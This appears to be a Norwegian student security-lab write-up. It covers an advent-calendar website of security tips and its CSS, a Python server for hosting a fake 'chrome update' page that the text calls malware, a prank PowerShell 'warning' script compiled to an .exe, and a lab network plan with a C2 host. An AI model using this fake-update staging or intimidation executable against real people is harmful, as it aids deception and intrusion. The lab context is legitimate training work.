</body>
</html>

```

For at denne html koden må fungere er den avhengig av java skriptene "test" og "styels". De kommer under i samme rekkefølge som de er skrevet i:

```

import http.server
import socketserver

PORT = 8000 # Port number for the server
DIRECTORY = "." # Directory containing your HTML and other files
REDIRECT_FILE = "sikk.html" # File to redirect to

```

Expand

host-web.py

1 KB

[2:57 PM]dehle:

```
<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <link rel="stylesheet" href="styles.css">
  <link rel="stylesheet" href="test.css">
  <link rel="script" href="script.js">
  <title>Christmas Calendar</title>
</head>
<body>
  <div class="calendar-container">
    <div class="calendar-grid">
      <!-- Create 24 calendar days -->
      <div class="title">
        
      </div>
      <div class="day day-1" data-day="1" onclick="showOrHide()">
        <div class="tall">1</div>
      </div>
      <div class="day day-2" data-day="2" onclick="showOrHide2()"><div
class="tall">2</div>
      </div>
      <div class="day day-3" data-day="3" onclick="showOrHide3()"><div
class="tall">3</div></div>
      <div class="day day-4" data-day="4" onclick="showOrHide4()"><div
class="tall">4</div></div>
      <div class="day day-5" data-day="4" onclick="showOrHide5()"><div
class="tall">5</div></div>
      <div class="day day-6" data-day="4" onclick="showOrHide6()"><div
class="tall">6</div></div>
      <div class="day day-7" data-day="4" onclick="showOrHide7()"><div
class="tall">7</div></div>
      <div class="day day-8" data-day="4" onclick="showOrHide8()"><div
class="tall">8</div></div>
      <div class="day day-9" data-day="4" onclick="showOrHide9()"><div
class="tall">9</div></div>
      <div class="day day-10" data-day="4" onclick="showOrHide10()"><div
class="tall">10</div></div>
      <div class="day day-11" data-day="4" onclick="showOrHide11()"><div
class="tall">11</div></div>
      <div class="day day-12" data-day="4" onclick="showOrHide12()"><div
class="tall">12</div></div>
      <div class="day day-13" data-day="4" onclick="showOrHide13()"><div
class="tall">13</div></div>
      <div class="day day-14" data-day="4" onclick="showOrHide14()"><div
```

```

class="tall">14</div></div>
    <div class="day day-15" data-day="4" onclick="showOrHide15()"><div
class="tall">15</div></div>
    <div class="day day-16" data-day="4" onclick="showOrHide16()"><div
class="tall">16</div></div>
    <div class="day day-17" data-day="4" onclick="showOrHide17()"><div
class="tall">17</div></div>
    <div class="day day-18" data-day="4" ><div class="tall">18</div></div>
    <div class="day day-19" data-day="4"><div class="tall">19</div></div>
    <div class="day day-20" data-day="4"><div class="tall">20</div></div>
    <div class="day day-21" data-day="4"><div class="tall">21</div></div>
    <div class="day day-22" data-day="4"><div class="tall">22</div></div>
    <div class="day day-23" data-day="4"><div class="tall">23</div></div>
    <!-- Continue up to 24 -->
    <div class="day day-24" data-day="24"><div class="tall
tall24">24</div></div>
    </div>
</div>
<!-- DAG 1 -->
<div class="ko1" id="elementtoworkon" >
    <button id="closeButton" onclick="hideElement()">✖</button>
    <h1>Kalender Luke 1: Sikkerhetsbackup med en twist!</h1>

```

**linjeskift** Dagens oppgave er ikke bare en vanlig sikkerhetsbackup. Vi skal lage en så overdrevent backup at til og med IT-hjelperne i eventyrene blir misunnelige!

**Oppgave:** Lag et skript som kopierer viktige filer til en magisk, sikker mappe – men med et tidsstempel så nøyaktig at du kan spore filene tilbake til hvert eneste sekund! Målet er å lage en så sikker backup at ingen angripere ville tørre å prøve seg.

```

</p>
<pre><code># Først, vi sjekker om backup-mappen allerede er på plass,
for vi vil ikke bruke plass til ingenting!
$BackupFolder = "C:\Backup"
if (!(Test-Path $BackupFolder)) {
    New-Item -ItemType Directory -Path $BackupFolder
    Write-Host "Ny backup-mappe er opprettet. Sikkerheten økes!"
}

# Deretter finner vi filene som er viktige for vår eventyrreise
$SourceFolder = "C:\ViktigeFiler"
$Timestamp = Get-Date -Format "yyyy-MM-dd_HH-mm-ss"
$DestinationFolder = Join-Path $BackupFolder "Backup_{$Timestamp}"

# Kopierer filene som om de var skatter på en skattejakt
Copy-Item -Path $SourceFolder -Destination $DestinationFolder -Recurse
Write-Host "Backup fullført! Filene er nå trygt kopiert til
$DestinationFolder. Klar for å beskytte verden!"</code></pre>

```

```

    <p>Lykke til! :D</p>
</div>
<!-- DAG 2 -->
<div id="ko2" >
    <button id="closeButton2" onclick="hideElement2()">✖</button>
    <h1>Kalender Luke 2: Passordstyrke – Superheltens hemmelige våpen!</h1>

```

**Gratulerer!** Du har klart deg gjennom første oppgave, men nå er det på tide å gjøre deg selv til en **passwordsuperhelt**. **Passordstyrken** er din rustning, og med sterke passord blir du praktisk talt **uovervinnelig**. **Ingen** angripere, ingen hackere, ingen som kan trenge gjennom din digitale festning!

**Oppgave: Generer** et supersterkt passord som er så langt og kronglete at ingen, verken hackere eller datamaskiner, kan knekke det på under **100** år!

**Fordeler** med sterke passord: </p>

- <strong>Lengde</strong> er styrke! Jo lenger passordet er, desto sterkere blir det. Det er som å bygge et høyt, solidt slott som er umulig å klatre over.</li>
- <strong>Variasjon</strong> er magi! Passordet ditt skal inneholde store og små bokstaver, tall, spesialtegn og kanskje en emoji (hvis du er veldig kreativ).</li>
- <strong>Ingen</strong> ordboksangrep! Hvis du bruker ord som kan finnes i en ordbok, er du utsatt for ordboksangrep. Gjør passordet ditt til en uforståelig blanding!</li>

</ul>

<p>Her er et skript som kan hjelpe deg med å lage et superpassord:</p>

```
<pre><code># Antall tegn i passordet
```

```
$PasswordLength = 16
```

```
# Generer passord
```

```
$Characters =
```

```
'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890!@#%^&*()-_+='
```

```
$Password = -join ((1..$PasswordLength) | ForEach-Object { $Characters | Get-Random })
```

```
Write-Host "Ditt genererte passord er: $Password"</code></pre>
```

<p>Bruk dette skriptet, og få ditt passord til å se ut som et digitalt festningsverk!</p>

</p>

... (598 lines left)

Collapse

sikk.html

35 KB

[3:05 PM]dehle:

```
/* text for kalenderen dag 1*/
```

```
#elementtoworkon {
```

```

display: none;
position: absolute; /* Absolutt posisjonering for å lage et lag */
top: 50%; /* Plassering midt i skjermen */
left: 50%; /* Plassering midt i skjermen */
transform: translate(-50%, -50%); /* Juster for nøyaktig sentrering */
background: white; /* Hvit bakgrunn */
color: black; /* Tekstfarge */
padding: 20px; /* Innvendig padding */
border: 2px solid black; /* Enkle kanter */
border-radius: 10px; /* Runde hjørner for estetikk */
z-index: 100; /* Sørg for at den vises over alt annet */
box-shadow: 0 4px 8px rgba(0, 0, 0, 0.2); /* Myk skygge for dybde */
}

#closeButton {
  position: absolute;
  top: 10px;
  right: 10px;
  background: none;
  border: none;
  font-size: 20px;
  color: black;
  cursor: pointer;
}

#closeButton:hover {
  color: red; /* Endre farge ved hover for visuell tilbakemelding */
}

/* text for kalenderen dag 2*/
#ko2 {
  display: none;
  position: absolute; /* Absolutt posisjonering for å lage et lag */
  top: 60%; /* Plassering midt i skjermen */
  left: 50%; /* Plassering midt i skjermen */
  transform: translate(-50%, -50%); /* Juster for nøyaktig sentrering */
  background: white; /* Hvit bakgrunn */
  color: black; /* Tekstfarge */
  padding: 20px; /* Innvendig padding */
  border: 2px solid black; /* Enkle kanter */
  border-radius: 10px; /* Runde hjørner for estetikk */
  z-index: 100; /* Sørg for at den vises over alt annet */
  box-shadow: 0 4px 8px rgba(0, 0, 0, 0.2); /* Myk skygge for dybde */
}

#closeButton2 {
  position: absolute;
  top: 10px;
  right: 10px;

```

```

background: none;
border: none;
font-size: 20px;
color: black;
cursor: pointer;
}

#closeButton2:hover {
    color: red; /* Endre farge ved hover for visuell tilbakemelding */
}

/* text for kalenderen dag 2*/
#ko3 {
    display: none;
    position: absolute; /* Absolutt posisjonering for å lage et lag */
    top: 70%; /* Plassering midt i skjermen */
    left: 50%; /* Plassering midt i skjermen */
    transform: translate(-50%, -50%); /* Juster for nøyaktig sentrering */
    background: white; /* Hvit bakgrunn */
    color: black; /* Tekstfarge */
    padding: 20px; /* Innvendig padding */
    border: 2px solid black; /* Enkle kanter */
    border-radius: 10px; /* Runde hjørner for estetikk */
    z-index: 100; /* Sørg for at den vises over alt annet */
    box-shadow: 0 4px 8px rgba(0, 0, 0, 0.2); /* Myk skygge for dybde */
}

#closeButton3 {
    position: absolute;
    top: 10px;
    right: 10px;
    background: none;
    border: none;
    font-size: 20px;
    color: black;
    cursor: pointer;
}

#closeButton3:hover {
    color: red; /* Endre farge ved hover for visuell tilbakemelding */
}

/* text for kalenderen dag 4*/
#ko4 {
    display: none;
    position: absolute; /* Absolutt posisjonering for å lage et lag */
    top: 70%; /* Plassering midt i skjermen */
    left: 50%; /* Plassering midt i skjermen */
    ... (445 lines left)

```

Collapse



test.css

16 KB

[3:05 PM]dehle:

/\* General styles \*/

body {

background-image: url("image/bakgrunn.png");

display: flex;

justify-content: center;

Expand

styles.css

4 KB

/\* text for kalenderen dag 1\*/

#elementtoworkon {

display: none;

position: absolute; /\* Absolutt posisjonering for å lage et lag \*/

top: 50%; /\* Plassering midt i skjermen \*/

left: 50%; /\* Plassering midt i skjermen \*/

transform: translate(-50%, -50%); /\* Juster for nøyaktig sentrering \*/

background: white; /\* Hvit bakgrunn \*/

color: black; /\* Tekstfarge \*/

padding: 20px; /\* Innvendig padding \*/

border: 2px solid black; /\* Enkle kanter \*/

border-radius: 10px; /\* Runde hjørner for estetikk \*/

z-index: 100; /\* Sørg for at den vises over alt annet \*/

box-shadow: 0 4px 8px rgba(0, 0, 0, 0.2); /\* Myk skygge for dybde \*/

}

#closeButton {

position: absolute;

top: 10px;

right: 10px;

background: none;

border: none;

font-size: 20px;

color: black;

cursor: pointer;

}

#closeButton:hover {

color: red; /\* Endre farge ved hover for visuell tilbakemelding \*/

}

/\* text for kalenderen dag 2\*/

#ko2 {

display: none;

position: absolute; /\* Absolutt posisjonering for å lage et lag \*/

top: 60%; /\* Plassering midt i skjermen \*/

left: 50%; /\* Plassering midt i skjermen \*/

```

transform: translate(-50%, -50%); /* Juster for nøyaktig sentrering */
background: white; /* Hvit bakgrunn */
color: black; /* Tekstfarge */
padding: 20px; /* Innvendig padding */
border: 2px solid black; /* Enkle kanter */
border-radius: 10px; /* Runde hjørner for estetikk */
z-index: 100; /* Sørg for at den vises over alt annet */
box-shadow: 0 4px 8px rgba(0, 0, 0, 0.2); /* Myk skygge for dybde */

}

#closeButton2 {
  position: absolute;
  top: 10px;
  right: 10px;
  background: none;
  border: none;
  font-size: 20px;
  color: black;
  cursor: pointer;
}

#closeButton2:hover {
  color: red; /* Endre farge ved hover for visuell tilbakemelding */
}

/* text for kalenderen dag 2*/
#ko3 {
  display: none;
  position: absolute; /* Absolutt posisjonering for å lage et lag */
  top: 70%; /* Plassering midt i skjermen */
  left: 50%; /* Plassering midt i skjermen */
  transform: translate(-50%, -50%); /* Juster for nøyaktig sentrering */
  background: white; /* Hvit bakgrunn */
  color: black; /* Tekstfarge */
  padding: 20px; /* Innvendig padding */
  border: 2px solid black; /* Enkle kanter */
  border-radius: 10px; /* Runde hjørner for estetikk */
  z-index: 100; /* Sørg for at den vises over alt annet */
  box-shadow: 0 4px 8px rgba(0, 0, 0, 0.2); /* Myk skygge for dybde */

}

#closeButton3 {
  position: absolute;
  top: 10px;
  right: 10px;
  background: none;
  border: none;
  font-size: 20px;

```

```

    color: black;
    cursor: pointer;
}

#closeButton3:hover {
    color: red; /* Endre farge ved hover for visuell tilbakemelding */
}

/* text for kalenderen dag 4*/
#ko4 {
    display: none;
    position: absolute; /* Absolutt posisjonering for å lage et lag */
    top: 70%; /* Plassering midt i skjermen */
    left: 50%; /* Plassering midt i skjermen */
    transform: translate(-50%, -50%); /* Juster for nøyaktig sentrering */
    background: white; /* Hvit bakgrunn */
    color: black; /* Tekstfarge */
    padding: 20px; /* Innvendig padding */
    border: 2px solid black; /* Enkle kanter */
    border-radius: 10px; /* Runde hjørner for estetikk */
    z-index: 100; /* Sørg for at den vises over alt annet */
    box-shadow: 0 4px 8px rgba(0, 0, 0, 0.2); /* Myk skygge for dybde */
}

#closeButton4 {
    position: absolute;
    top: 10px;
    right: 10px;
    background: none;
    border: none;
    font-size: 20px;
    color: black;
    cursor: pointer;
}

#closeButton4:hover {
    color: red; /* Endre farge ved hover for visuell tilbakemelding */
}

/* text for kalenderen dag 5*/
#ko5 {
    display: none;
    position: absolute; /* Absolutt posisjonering for å lage et lag */
    top: 55%; /* Plassering midt i skjermen */
    left: 50%; /* Plassering midt i skjermen */
    transform: translate(-50%, -50%); /* Juster for nøyaktig sentrering */
    background: white; /* Hvit bakgrunn */
    color: black; /* Tekstfarge */
    padding: 20px; /* Innvendig padding */
    border: 2px solid black; /* Enkle kanter */
}

```

```

border-radius: 10px; /* Runde hjørner for estetikk */
z-index: 100; /* Sørg for at den vises over alt annet */
box-shadow: 0 4px 8px rgba(0, 0, 0, 0.2); /* Myk skygge for dybde */

}

#closeButton5 {
  position: absolute;
  top: 10px;
  right: 10px;
  background: none;
  border: none;
  font-size: 20px;
  color: black;
  cursor: pointer;
}

#closeButton5:hover {
  color: red; /* Endre farge ved hover for visuell tilbakemelding */
}

/* text for kalenderen dag 6*/
#ko6 {
  display: none;
  position: absolute; /* Absolutt posisjonering for å lage et lag */
  top: 55%; /* Plassering midt i skjermen */
  left: 50%; /* Plassering midt i skjermen */
  transform: translate(-50%, -50%); /* Juster for nøyaktig sentrering */
  background: white; /* Hvit bakgrunn */
  color: black; /* Tekstfarge */
  padding: 20px; /* Innvendig padding */
  border: 2px solid black; /* Enkle kanter */
  border-radius: 10px; /* Runde hjørner for estetikk */
  z-index: 100; /* Sørg for at den vises over alt annet */
  box-shadow: 0 4px 8px rgba(0, 0, 0, 0.2); /* Myk skygge for dybde */
}

#closeButton6 {
  position: absolute;
  top: 10px;
  right: 10px;
  background: none;
  border: none;
  font-size: 20px;
  color: black;
  cursor: pointer;
}

#closeButton6:hover {

```

```

    color: red; /* Endre farge ved hover for visuell tilbakemelding */
}
/* text for kalenderen dag 7*/
#ko7 {
    display: none;
    position: absolute; /* Absolutt posisjonering for å lage et lag */
    top: 100%; /* Plassering midt i skjermen */
    left: 50%; /* Plassering midt i skjermen */
    transform: translate(-50%, -50%); /* Juster for nøyaktig sentrering */
    background: white; /* Hvit bakgrunn */
    color: black; /* Tekstfarge */
    padding: 20px; /* Innvendig padding */
    border: 2px solid black; /* Enkle kanter */
    border-radius: 10px; /* Runde hjørner for estetikk */
    z-index: 100; /* Sørg for at den vises over alt annet */
    box-shadow: 0 4px 8px rgba(0, 0, 0, 0.2); /* Myk skygge for dybde */
}

#closeButton7 {
    position: absolute;
    top: 10px;
    right: 10px;
    background: none;
    border: none;
    font-size: 20px;
    color: black;
    cursor: pointer;
}

#closeButton7:hover {
    color: red; /* Endre farge ved hover for visuell tilbakemelding */
}
/* text for kalenderen dag 8*/
#ko8 {
    display: none;
    position: absolute; /* Absolutt posisjonering for å lage et lag */
    top: 90%; /* Plassering midt i skjermen */
    left: 50%; /* Plassering midt i skjermen */
    transform: translate(-50%, -50%); /* Juster for nøyaktig sentrering */
    background: white; /* Hvit bakgrunn */
    color: black; /* Tekstfarge */
    padding: 20px; /* Innvendig padding */
    border: 2px solid black; /* Enkle kanter */
    border-radius: 10px; /* Runde hjørner for estetikk */
    z-index: 100; /* Sørg for at den vises over alt annet */
    box-shadow: 0 4px 8px rgba(0, 0, 0, 0.2); /* Myk skygge for dybde */
}

```

```
#closeButton8 {
  position: absolute;
  top: 10px;
  right: 10px;
  background: none;
  border: none;
  font-size: 20px;
  color: black;
  cursor: pointer;
}

#closeButton8:hover {
  color: red; /* Endre farge ved hover for visuell tilbakemelding */
}
/* text for kalenderen dag 9*/
#ko9 {
  display: none;
  position: absolute; /* Absolutt posisjonering for å lage et lag */
  top: 55%; /* Plassering midt i skjermen */
  left: 50%; /* Plassering midt i skjermen */
  transform: translate(-50%, -50%); /* Juster for nøyaktig sentrering */
  background: white; /* Hvit bakgrunn */
  color: black; /* Tekstfarge */
  padding: 20px; /* Innvendig padding */
  border: 2px solid black; /* Enkle kanter */
  border-radius: 10px; /* Runde hjørner for estetikk */
  z-index: 100; /* Sørg for at den vises over alt annet */
  box-shadow: 0 4px 8px rgba(0, 0, 0, 0.2); /* Myk skygge for dybde */
}

#closeButton9 {
  position: absolute;
  top: 10px;
  right: 10px;
  background: none;
  border: none;
  font-size: 20px;
  color: black;
  cursor: pointer;
}

#closeButton9:hover {
  color: red; /* Endre farge ved hover for visuell tilbakemelding */
}
/* text for kalenderen dag 10*/
#ko10 {
  display: none;
  position: absolute; /* Absolutt posisjonering for å lage et lag */
  top: 60%; /* Plassering midt i skjermen */
}
```

```

    left: 50%; /* Plassering midt i skjermen */
    transform: translate(-50%, -50%); /* Juster for nøyaktig sentrering */
    background: white; /* Hvit bakgrunn */
    color: black; /* Tekstfarge */
    padding: 20px; /* Innvendig padding */
    border: 2px solid black; /* Enkle kanter */
    border-radius: 10px; /* Runde hjørner for estetikk */
    z-index: 100; /* Sørg for at den vises over alt annet */
    box-shadow: 0 4px 8px rgba(0, 0, 0, 0.2); /* Myk skygge for dybde */

}

#closeButton10 {
    position: absolute;
    top: 10px;
    right: 10px;
    background: none;
    border: none;
    font-size: 20px;
    color: black;
    cursor: pointer;
}

#closeButton10:hover {
    color: red; /* Endre farge ved hover for visuell tilbakemelding */
}

/* text for kalenderen dag 11*/
#ko11 {
    display: none;
    position: absolute; /* Absolutt posisjonering for å lage et lag */
    top: 55%; /* Plassering midt i skjermen */
    left: 50%; /* Plassering midt i skjermen */
    transform: translate(-50%, -50%); /* Juster for nøyaktig sentrering */
    background: white; /* Hvit bakgrunn */
    color: black; /* Tekstfarge */
    padding: 20px; /* Innvendig padding */
    border: 2px solid black; /* Enkle kanter */
    border-radius: 10px; /* Runde hjørner for estetikk */
    z-index: 100; /* Sørg for at den vises over alt annet */
    box-shadow: 0 4px 8px rgba(0, 0, 0, 0.2); /* Myk skygge for dybde */

}

#closeButton11 {
    position: absolute;
    top: 10px;
    right: 10px;
    background: none;
    border: none;
    font-size: 20px;

```

```

    color: black;
    cursor: pointer;
}

#closeButton11:hover {
    color: red; /* Endre farge ved hover for visuell tilbakemelding */
}

/* text for kalenderen dag 12*/
#ko12 {
    display: none;
    position: absolute; /* Absolutt posisjonering for å lage et lag */
    top: 60%; /* Plassering midt i skjermen */
    left: 50%; /* Plassering midt i skjermen */
    transform: translate(-50%, -50%); /* Juster for nøyaktig sentrering */
    background: white; /* Hvit bakgrunn */
    color: black; /* Tekstfarge */
    padding: 20px; /* Innvendig padding */
    border: 2px solid black; /* Enkle kanter */
    border-radius: 10px; /* Runde hjørner for estetikk */
    z-index: 100; /* Sørg for at den vises over alt annet */
    box-shadow: 0 4px 8px rgba(0, 0, 0, 0.2); /* Myk skygge for dybde */
}

#closeButton12 {
    position: absolute;
    top: 10px;
    right: 10px;
    background: none;
    border: none;
    font-size: 20px;
    color: black;
    cursor: pointer;
}

#closeButton12:hover {
    color: red; /* Endre farge ved hover for visuell tilbakemelding */
}

/* text for kalenderen dag 13*/
#ko13 {
    display: none;
    position: absolute; /* Absolutt posisjonering for å lage et lag */
    top: 70%; /* Plassering midt i skjermen */
    left: 50%; /* Plassering midt i skjermen */
    transform: translate(-50%, -50%); /* Juster for nøyaktig sentrering */
    background: white; /* Hvit bakgrunn */
    color: black; /* Tekstfarge */
    padding: 20px; /* Innvendig padding */
}

```



```

border: 2px solid black; /* Enkle kanter */
border-radius: 10px; /* Runde hjørner for estetikk */
z-index: 100; /* Sørg for at den vises over alt annet */
box-shadow: 0 4px 8px rgba(0, 0, 0, 0.2); /* Myk skygge for dybde */

}

#closeButton13 {
  position: absolute;
  top: 10px;
  right: 10px;
  background: none;
  border: none;
  font-size: 20px;
  color: black;
  cursor: pointer;
}

#closeButton13:hover {
  color: red; /* Endre farge ved hover for visuell tilbakemelding */
}

/* text for kalenderen dag 14*/
#ko14 {
  display: none;
  position: absolute; /* Absolutt posisjonering for å lage et lag */
  top: 70%; /* Plassering midt i skjermen */
  left: 50%; /* Plassering midt i skjermen */
  transform: translate(-50%, -50%); /* Juster for nøyaktig sentrering */
  background: white; /* Hvit bakgrunn */
  color: black; /* Tekstfarge */
  padding: 20px; /* Innvendig padding */
  border: 2px solid black; /* Enkle kanter */
  border-radius: 10px; /* Runde hjørner for estetikk */
  z-index: 100; /* Sørg for at den vises over alt annet */
  box-shadow: 0 4px 8px rgba(0, 0, 0, 0.2); /* Myk skygge for dybde */
}

#closeButton14 {
  position: absolute;
  top: 10px;
  right: 10px;
  background: none;
  border: none;
  font-size: 20px;
  color: black;
  cursor: pointer;
}

```

```

}

#closeButton14:hover {
    color: red; /* Endre farge ved hover for visuell tilbakemelding */
}

/* text for kalenderen dag 15*/
#ko15{
    display: none;
    position: absolute; /* Absolutt posisjonering for å lage et lag */
    top: 55%; /* Plassering midt i skjermen */
    left: 50%; /* Plassering midt i skjermen */
    transform: translate(-50%, -50%); /* Juster for nøyaktig sentrering */
    background: white; /* Hvit bakgrunn */
    color: black; /* Tekstfarge */
    padding: 20px; /* Innvendig padding */
    border: 2px solid black; /* Enkle kanter */
    border-radius: 10px; /* Runde hjørner for estetikk */
    z-index: 100; /* Sørg for at den vises over alt annet */
    box-shadow: 0 4px 8px rgba(0, 0, 0, 0.2); /* Myk skygge for dybde */
}

#closeButton15 {
    position: absolute;
    top: 10px;
    right: 10px;
    background: none;
    border: none;
    font-size: 20px;
    color: black;
    cursor: pointer;
}

#closeButton15:hover {
    color: red; /* Endre farge ved hover for visuell tilbakemelding */
}

/* text for kalenderen dag 16*/
#ko16 {
    display: none;
    position: absolute; /* Absolutt posisjonering for å lage et lag */
    top: 53%; /* Plassering midt i skjermen */
    left: 50%; /* Plassering midt i skjermen */
    transform: translate(-50%, -50%); /* Juster for nøyaktig sentrering */
    background: white; /* Hvit bakgrunn */
    color: black; /* Tekstfarge */
    padding: 20px; /* Innvendig padding */
}

```

```

border: 2px solid black; /* Enkle kanter */
border-radius: 10px; /* Runde hjørner for estetikk */
z-index: 100; /* Sørg for at den vises over alt annet */
box-shadow: 0 4px 8px rgba(0, 0, 0, 0.2); /* Myk skygge for dybde */

}

#closeButton16 {
  position: absolute;
  top: 10px;
  right: 10px;
  background: none;
  border: none;
  font-size: 20px;
  color: black;
  cursor: pointer;
}

#closeButton16:hover {
  color: red; /* Endre farge ved hover for visuell tilbakemelding */
}

/* text for kalenderen dag 17*/
#ko17 {
  display: none;
  position: absolute; /* Absolutt posisjonering for å lage et lag */
  top: 55%; /* Plassering midt i skjermen */
  left: 50%; /* Plassering midt i skjermen */
  transform: translate(-50%, -50%); /* Juster for nøyaktig sentrering */
  background: white; /* Hvit bakgrunn */
  color: black; /* Tekstfarge */
  padding: 20px; /* Innvendig padding */
  border: 2px solid black; /* Enkle kanter */
  border-radius: 10px; /* Runde hjørner for estetikk */
  z-index: 100; /* Sørg for at den vises over alt annet */
  box-shadow: 0 4px 8px rgba(0, 0, 0, 0.2); /* Myk skygge for dybde */
}

#closeButton17 {
  position: absolute;
  top: 10px;
  right: 10px;
  background: none;
  border: none;
  font-size: 20px;
  color: black;
  cursor: pointer;
}

```

```
#closeButton17:hover {  
  color: red; /* Endre farge ved hover for visuell tilbakemelding */  
}
```

Her kommer styles:

```
/* General styles */  
  
body {  
  background-image: url("image/bakgrunn.png");  
  display: flex;  
  justify-content: center;  
  align-items: center;  
  height: 100vh;  
  margin: 0;  
}  
  
.calendar-container {  
  padding-top: 400px; /* Skyv hele kalenderen ned */  
}  
  
.calendar-grid {  
  display: grid;  
  
  grid-template-columns: repeat(6, 1fr);  
  grid-template-rows: auto;  
  grid-gap: 1rem;  
  
  grid-template-areas:  
    "title title title day5 day17 day15"  
    "title title title day11 day20 day16"  
    "title title title day1 day18 day12"  
    "day6 day22 day14 day24 day24 day4"  
    "day10 day21 day2 day24 day24 day8"  
    "day3 day9 day7 day13 day23 day19";  
  margin-top: 50px; /* Skyv kalenderen ned */  
  grid-auto-rows: minmax(50px, auto); /* Tilpass høyden til boksene */  
}  
div {  
  padding: 1rem;  
  margin-bottom: 1rem;  
}  
  
.title {  
  grid-area: title;
```

```

    display: flex;
    align-items: center;
    justify-content: center;
    border: dashed grey;
    text-align: center;
}

.title-1 {
    color: #9c163f;
    display: block;
    transform: rotate(-10deg);
    text-align: center;
}

/* Oppdater hover kun for .day divs, ikke underliggende elementer */
.calendar-grid .day:hover {
    border: dashed #464646;
}

.day-1, .day-2, .day-3, .day-4, .day-5, .day-6, .day-7, .day-8, .day-9,
.day-10, .day-11, .day-12, .day-13, .day-14, .day-15, .day-16, .day-17,
.day-18, .day-19, .day-20, .day-21, .day-22, .day-23 {
    border: dashed grey;
    text-align: center;
    aspect-ratio: 1; /* Gjør boksene kvadratiske */
    justify-content: center; /* Sentrer horisontalt */
    align-items: center; /* Sentrer vertikalt */
}

.day-1 {
    grid-area: day1;
}

.day-2 {
    grid-area: day2;
}

.day-3 {
    grid-area: day3;
}

.day-4 {
    grid-area: day4;
}

.day-5 {
    grid-area: day5;
}

.day-6 {
    grid-area: day6;
}

.day-7 {

```

```
    grid-area: day7;
}
.day-8 {
    grid-area: day8;
}
.day-9 {
    grid-area: day9;
}
.day-10 {
    grid-area: day10;
}
.day-11 {
    grid-area: day11;
}
.day-12 {
    grid-area: day12;
}
.day-13 {
    grid-area: day13;
}
.day-14 {
    grid-area: day14;
}
.day-15 {
    grid-area: day15;
}
.day-16 {
    grid-area: day16;
}
.day-17 {
    grid-area: day17;
}
.day-18 {
    grid-area: day18;
}
.day-19 {
    grid-area: day19;
}
.day-20 {
    grid-area: day20;
}
.day-21 {
    grid-area: day21;
}
.day-22 {
    grid-area: day22;
}
.day-23 {
    grid-area: day23;
}
```

```

.day-24 {
  grid-area: day24;
  border: dashed grey;
  text-align: center;
  align-items: center;
  justify-content: center; /* Sentrer horisontalt */
}

.day-1, .day-2, .day-3, .day-4, .day-5, .day-6, .day-7, .day-8, .day-9,
.day-10, .day-11, .day-12, .day-13, .day-14, .day-15, .day-16, .day-17 {
  cursor: pointer;
}

.calendar-grid input {
  outline: none;
}

#suger{
  width: 20%;
  display: block;
  margin-left: auto;
  margin-right: auto;
}

.linjeskift{
  white-space: pre-line;
  text-align: justify;
}

.tall{
  font-size: 200%;
  font-family: 'Times New Roman', Times, serif;
}

.tall24{
  margin-top: 35%;
  font-family: 'Times New Roman', Times, serif;
}

#logo {
  width:200px;
  height: auto;
}

.logo:hover {
  width:250px;
}

```

**Kode for å hoste nettsiden som inneholder malware**

Her kommer koden som er nødvendig for å hoste update-chrome, som er en del av den ondsinnede programvaren:

```
import http.server
import socketserver

PORT = 6969 # Portnummer for serveren
DIRECTORY = "./x86-chrome-update" # Katalogen som inneholder HTML- og andre
filer

class CustomHandler(http.server.SimpleHTTPRequestHandler):
    def end_headers(self):
        self.send_header("Cache-Control", "no-store, no-cache, must-
revalidate, max-age=0")
        self.send_header("Pragma", "no-cache")
        self.send_header("Expires", "0")
        super().end_headers()

class CustomHandler(http.server.SimpleHTTPRequestHandler):
    def __init__(self, *args, **kwargs):
        # Server filer fra den spesifiserte katalogen
        super().__init__(*args, directory=DIRECTORY, **kwargs)

# Start serveren på den valgte porten
with socketserver.TCPServer("", PORT), CustomHandler) as httpd:
    print(f"Serverer filer fra {DIRECTORY} på http://localhost:{PORT}")
    httpd.serve_forever()
```

## Live angrep

Koden vi kjørte under live angrep ligger her. Den var kun laget for gøy.

```
# Tving PowerShell til fullskjermmodus
$wshell = New-Object -ComObject wscript.shell
$wshell.SendKeys('{F11}') # Setter terminalen til fullskjerm hvis mulig

# Endre fargen på teksten til grønn og bakgrunn til svart
$Host.UI.RawUI.BackgroundColor = 'Black'
$Host.UI.RawUI.ForegroundColor = 'Green'
Clear-Host # Renser skjermen for å bruke nye farger

# Skriver ut meldingen bokstav for bokstav for dramatisk effekt
$message = @"
THIS IS A WARNING
STOP WHAT YOU ARE DOING
OR YOU WILL REGRET IT
"@
```



```
foreach ($char in $message.ToCharArray()) {  
    Write-Host -NoNewline $char  
    Start-Sleep -Milliseconds 100 # Forsinkelse mellom hver bokstav  
}  
Start-Sleep -Milliseconds 10000  
Write-Host "`n`nPress any key to continue..."  
$Host.UI.RawUI.ReadKey("NoEcho,IncludeKeyDown")
```

For å gjøre koden til en .exe fil må man kjøre følgende:

```
ps2exe -inputFile warning.ps1 -outputFile warning1.exe
```

## NAP

### IP-adresser for VG

```
VLAN 513  
    Alfred: 192.168.1.10  
    Ingrid: 192.168.1.11  
        Sven: 192.168.1.12  
    Torgeir: 192.168.1.13  
        Trine: 192.168.1.14
```

### Ip-adresser for C2

```
VLAN 514  
C2-fancy-bear: 192.168.2.123
```

### Ip-adresser for web-host

```
VLAN 515  
Host: 192.168.3.134
```